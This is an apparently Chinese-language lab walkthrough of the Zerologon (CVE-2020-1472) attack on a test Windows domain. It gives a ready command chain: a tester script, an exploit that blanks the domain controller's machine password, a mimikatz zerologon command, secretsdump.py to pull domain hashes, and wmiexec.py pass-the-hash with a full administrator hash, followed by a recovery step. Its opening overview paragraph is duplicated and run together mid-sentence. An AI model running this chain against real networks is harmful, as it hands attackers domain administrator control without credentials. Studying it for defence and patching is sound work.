漏洞概述:
這是近幾年windows上比較重量級別的一個漏洞。通過該漏洞,攻擊者只需能夠訪問域控的445端口,在無需任何憑據的情況下(可以在域外)能拿到域管的權限。該漏洞的產生來源於Netlogon協議認證的加密模塊存在缺陷,導致攻擊者可以在沒有憑證的情況情況下通過認證。該漏洞的最穩定利用是調用netlogon中RPC函數NetrServerPasswordSet2來重置域控的密碼,從而以域控的身份進行Dcsync獲取域管權限。這個漏洞的完整利用需要域控開啟135和445端口這是近幾年windows上比較重量級別的一個漏洞。通過該漏洞,攻擊者只需能夠訪問域控的445端口,在無需任何憑據的情況下能拿到域管的權限。該漏洞的產生來源於Netlogon協議認證的加密模塊存在缺陷,導致攻擊者可以在沒有憑證的情況情況下通過認證。該漏洞的最穩定利用是調用netlogon中RPC函數NetrServerPasswordSet2來重置域控的密碼,從而以域控的身份進行Dcsync獲取域管權限。這個漏洞的完整利用需要域控開啟135和445端口。
注意:漏洞利用成功后是把域控這個機器用戶的密碼置為空,與域管的密碼無關。
實驗環境
域名:HIRO
域控:WIN-KONG@192.168.228.10 域管:hiro\administrator
驗證
用zerologon_tester.py驗證是否有CVE-2020-1472漏洞
攻擊:
1.使用CVE-2020-1472exp(需要先代理)
這一步會把域控的密碼置為空 #即hash為31d6cfe0d16ae931b73c59d7e0c089c0
自己本地驗證看攻擊是否成功(ntlmhash為空)
前后對比
2.使用mimikatz(要用支持zerologon的版本)
(1)如果當前主機不在域環境中,target指向ip
lsadump::zerologon /target:192.168.228.10 /ntlm /null /account:win-kong$ /exploit
(2)如果當前主機在域環境中,target指向FQDN
利用(使用impacket包)
攻擊成功后讀取域內密碼hash(域控機器賬號有DCSync權限
)
python3 secretsdump.py hiro.com/WIN-KONG$@192.168.228.10 -no-pass
哈希傳遞(administrator)
python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e
恢復脫域的域控
在攻擊過程中,將機器的密碼置為空,這一步是會導致域控脫域的。其本質原因是由於機器用戶在AD中的密碼(存儲在ntds.dic)與本地的注冊表lsass里面的密碼不一致導致的。所以要將其恢復,將AD中的密碼與注冊表lsass里面的密碼保持一致。
像服務器一樣,DC擁有一個帶有密碼的機器帳戶,該帳戶以加密方式存儲在注冊表中。引導時將其加載到lsass中。如果使用Zerologon更改密碼,則僅AD中的密碼會更改,而不是注冊表或lsass中的密碼。利用后每當發出新的Kerberos票證時,DC無法使用lsass中的機器帳戶密碼來解密服務票證,並且無法使用Kerberos中斷身份驗證。
恢復域控機器密碼:
在域控上執行: powershell Reset-ComputerMachinePassword
最后對比